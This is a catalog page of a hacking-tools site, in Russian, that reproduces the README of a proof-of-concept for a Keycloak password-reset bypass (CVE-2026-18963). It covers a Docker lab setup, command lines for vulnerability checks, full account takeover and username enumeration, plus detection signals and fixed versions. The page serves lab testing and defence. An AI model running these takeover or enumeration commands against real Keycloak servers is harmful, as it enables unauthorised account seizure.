Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Keycloak_CVE-2026-18963_PoC — Этот репозиторий — PoC для cve-2026-18963. Пожалуйста, используйте его только на легальных продуктах (лаборатория, локальная среда и т. д.). | Kitploit
Инструменты/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияЛаборатории и Практика
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Этот репозиторий — PoC для cve-2026-18963. Пожалуйста, используйте его только на легальных продуктах (лаборатория, локальная среда и т. д.).

Репозиторий
16482 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-18963

Обход сброса учётных данных в Keycloak → захват учётной записи без аутентификации CVSS 9.1 | Затронуто: Keycloak 26.0.0 – 26.7.1


Структура

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Требования

  • Docker + Docker Compose
  • Python 3.9+ (только стандартная библиотека, ничего устанавливать не нужно)
  • Linux

Шаг 1: Запуск лаборатории

docker compose up -d

Или запустите Keycloak напрямую, без импорта realm:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Подождите ~30–60 секунд, пока Keycloak завершит загрузку.

Сервисы

СервисURLВерсияСтатус
kc-vulnhttp://localhost:808026.7.1УЯЗВИМ ⚠️
Mailpithttp://localhost:8025latestПерехватывает почту

Учётные данные по умолчанию

  • Администратор Keycloak: admin / admin
  • Пользователь-жертва: victim / OriginalPassw0rd!
  • Realm: poc | Клиент: poc-app
  • Проверка конфигурации: Realm settings → вкладка Login → Forgot password включена.
  • Если realm poc или пользователь victim отсутствуют, импортируйте их вручную: Manage realms → Create realm → Upload realm-poc.json.

Шаг 2: Запуск PoC

Безопасная проверка (имя пользователя не требуется, побочных эффектов нет)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Ожидаемый результат на kc-vuln: [!] VULNERABLE — email gate execution served


Неразрушающее доказательство (останавливается на форме Update Password)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Побочные эффекты: жертве отправляется письмо для сброса пароля (просмотреть его можно по адресу http://localhost:8025), а emailVerified устанавливается в true.


Полный захват аккаунта

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

После этого проверьте, войдя в систему по адресу http://localhost:8080/realms/poc/account с учётными данными victim / PoCPassw0rd!1.


Перечисление имён пользователей

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Шаг 3: Сброс жертвы в исходное состояние

Realm импортируется только при первой загрузке, поэтому самый простой сброс — пересоздать окружение с нуля:

docker compose down -v && docker compose up -d

В качестве альтернативы сбросьте пароль вручную в консоли администратора (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Удаление

docker compose down -v

Сигналы обнаружения

СигналЛегитимныйЭксплойт
GET /login-actions/action-token?...✅ Да❌ Нет
POST .../reset-credentials с телом tryAnotherWay=yes❌ Нет✅ Да
SEND_RESET_PASSWORD → UPDATE_PASSWORD с тем же code_id < 2 сРедко✅ Всегда
emailVerified меняется на true без события VERIFY_EMAIL❌✅ Всегда

В Mailpit (http://localhost:8025) письмо для сброса пароля приходит в почтовый ящик жертвы, но ссылка внутри него никогда не нажимается, когда эксплойт успешен.


Затронутые версии

Линейка релизовЗатронутыИсправление
≤ 17 (WildFly)Нет—
26.0 – 26.326.0.0 – 26.x.xНет (необходим переход на 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (бэкпорт от вендора)
26.526.5.0 – 26.5.7Нет
26.626.6.0 – 26.6.526.6.6 (бэкпорт от вендора)
26.726.7.0 – 26.7.126.7.2 ✅

Версии до 26.0 не затронуты: закреплённая заметка AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED и экран выбора «Try another way» в процессе сброса были добавлены в 26.0.0. Более старые сборки просто не содержат уязвимого пути выполнения кода — это не то же самое, что быть исправленными.


Ссылки

  • Sploitus (оригинальный README): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Проблема Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR с исправлением: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
Скачать инструмент